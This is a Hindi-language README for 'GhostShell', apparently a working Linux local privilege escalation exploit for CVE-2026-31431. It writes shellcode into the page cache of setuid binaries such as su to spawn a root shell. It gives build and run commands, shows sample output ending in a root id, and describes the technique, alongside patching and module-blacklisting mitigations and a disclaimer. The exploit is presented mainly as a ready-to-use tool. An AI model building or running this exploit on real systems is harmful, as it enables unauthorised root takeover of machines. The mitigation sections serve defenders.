
CVE-2026-31431 — लिनक्स कर्नेल पेज कैश भ्रष्टाचार के माध्यम से स्थानीय विशेषाधिकार वृद्धि
CVE-2026-31431 — Linux कर्नेल पेज कैश भ्रष्टाचार के माध्यम से स्थानीय विशेषाधिकार वृद्धि
GhostShell एक स्थानीय विशेषाधिकार वृद्धि उपकरण है जो Linux कर्नेल के authencesn AEAD क्रिप्टो कार्यान्वयन में एक दोष का शोषण करता है ताकि एक अन-विशेषाधिकार प्राप्त उपयोगकर्ता खाते से रूट शेल प्राप्त किया जा सके। यह एक setuid-root बाइनरी (जैसे /usr/bin/su) के इन-मेमोरी पेज कैश को उसके एंट्री पॉइंट पर शेलकोड लगाकर भ्रष्ट करता है, फिर उसे निष्पादित करता है — setuid(0) + setgid(0) प्राप्त करता है और एक विशेषाधिकार प्राप्त /bin/sh स्पॉन करता है। डिस्क पर कोई फ़ाइल संशोधित नहीं होती; केवल इन-मेमोरी पेज कैश प्रभावित होता है।
संक्षेप में: आप इसे एक सामान्य उपयोगकर्ता के रूप में चलाते हैं, और यह आपको रूट शेल में डाल देता है।
Theori / Xint द्वारा खोजा और प्रकट किया गया। पूर्ण विवरण: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (अगस्त 2017) से अप्रैल 2026 में पैच किए गए कर्नेल तक।
kmod को पैच करनाCVE-2026-31431 के लिए अनुशंसित समाधान kmod पैकेज (कर्नेल मॉड्यूल उपयोगिताएँ) को पैच करना है जो कमजोर authencesn AEAD सिफर मॉड्यूल भेजता है। प्रमुख वितरकों द्वारा अद्यतन पैकेज जारी किए गए हैं जो इन-प्लेस splice() डिक्रिप्शन पथ को अक्षम या सही करते हैं।
# वर्तमान kmod संस्करण जांचें
modprobe --version
# पैच किए गए संस्करण में अद्यतन करें
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# अद्यतन सत्यापित करें
modprobe --version
# kmod को पैच किए गए रिलीज़ में अद्यतन करें
sudo dnf update kmod
# सत्यापित करें
rpm -q kmod
sudo pacman -Syu kmod
kmod को पैच करने के बाद, पुष्टि करें कि कमजोर authencesn मॉड्यूल अब लोड करने योग्य नहीं है या अद्यतन किया गया है:
# मॉड्यूल लोड करने का प्रयास करें — पैच किए गए सिस्टम पर यह विफल होना चाहिए या फिक्स्ड संस्करण रिपोर्ट करना चाहिए
modinfo authencesn
# वैकल्पिक रूप से, जांचें कि चल रहे कर्नेल में अप्रैल 2026 पैच शामिल है
uname -r # आपके डिस्ट्रो के लिए पैच किए गए कर्नेल संस्करण से >= होना चाहिए
यदि आप तुरंत kmod को अद्यतन नहीं कर सकते हैं, तो आप कमजोर सिफर मॉड्यूल को लोड होने से ब्लॉक कर सकते हैं:
# authencesn मॉड्यूल को ब्लैकलिस्ट करें
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# अच्छे उपाय के लिए सामान्य authenc मॉड्यूल को भी ब्लैकलिस्ट करें
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# यदि वर्तमान में लोड है तो अनलोड करें (उपयोग में होने पर विफल हो सकता है)
sudo modprobe -r authencesn 2>/dev/null
पैचिंग या वर्कअराउंड लागू करने के बाद रीबूट करें ताकि यह सुनिश्चित हो सके कि कोई भी भ्रष्ट पेज-कैश प्रविष्टियाँ साफ़ हो जाएँ।
| OS | कर्नेल |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ यह एक्सप्लॉइट केवल उपरोक्त सिस्टम पर परीक्षण किया गया है। अन्य वितरणों या कर्नेल संस्करणों पर आपके परिणाम भिन्न हो सकते हैं।
<linux/if_alg.h>) — आमतौर पर linux-libc-dev के साथ शामिलUbuntu/Debian पर बिल्ड निर्भरताएँ स्थापित करें:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
कोई बाहरी लाइब्रेरी आवश्यक नहीं।
ऑटो-डिटेक्ट टार्गेट (सामान्य setuid बाइनरी जैसे su, sudo, passwd की जाँच करता है):
./ghostshell
मैन्युअल रूप से टार्गेट निर्दिष्ट करें:
./ghostshell /usr/bin/sudo
यदि कर्नेल कमजोर है, तो आपको रूट शेल (#) में डाल दिया जाएगा।
_start एंट्री पॉइंट ऑफ़सेट खोजने के लिए ELF64 हेडर पार्स करता है।splice() इन-प्लेस डिक्रिप्शन दोष का उपयोग करके, प्रति patch_chunk() कॉल 4 बाइट्स (24 पुनरावृत्तियाँ) में एंट्री पॉइंट पर x86-64 शेलकोड के 94 बाइट्स लिखता है।execl() कॉल करता है। कर्नेल इसे पेज कैश से लोड करता है और शेलकोड setuid-root विशेषाधिकारों के साथ चलता है, एक रूट शेल स्पॉन करता है।एक्सप्लॉइट केवल इन-मेमोरी पेज कैश को भ्रष्ट करता है। एक साधारण रीबूट इसे पूरी तरह से साफ़ कर देता है।
रीबूट किए बिना कैश हटाने के लिए:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
यदि गंदे पेज डिस्क पर वापस लिखे गए थे (असंभव लेकिन संभव), तो प्रभावित पैकेज को पुनः स्थापित करें:
sudo apt-get install --reinstall util-linux # /usr/bin/su के लिए
यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। उन सिस्टमों के खिलाफ अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।
यह परियोजना MIT लाइसेंस के तहत लाइसेंस प्राप्त है।
इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करने वाले किसी भी व्यक्ति को, बिना किसी प्रतिबंध के सॉफ़्टवेयर में व्यवहार करने की अनुमति इसके द्वारा निःशुल्क प्रदान की जाती है, जिसमें बिना किसी सीमा के उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशन, वितरण, उप-लाइसेंस और/या सॉफ़्टवेयर की प्रतियां बेचने के अधिकार शामिल हैं, और उन व्यक्तियों को अनुमति देने के लिए जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:
उपरोक्त कॉपीराइट सूचना और यह अनुमति सूचना सॉफ़्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल की जाएगी।
सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, किसी भी प्रकार की वारंटी के बिना, व्यक्त या निहित, जिसमें बिना सीमा के व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन न करने की वारंटी शामिल हैं। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, टोर्ट या अन्यथा के कार्य में हो, सॉफ़्टवेयर से या सॉफ़्टवेयर के उपयोग या अन्य लेन-देन से उत्पन्न या संबंधित हो।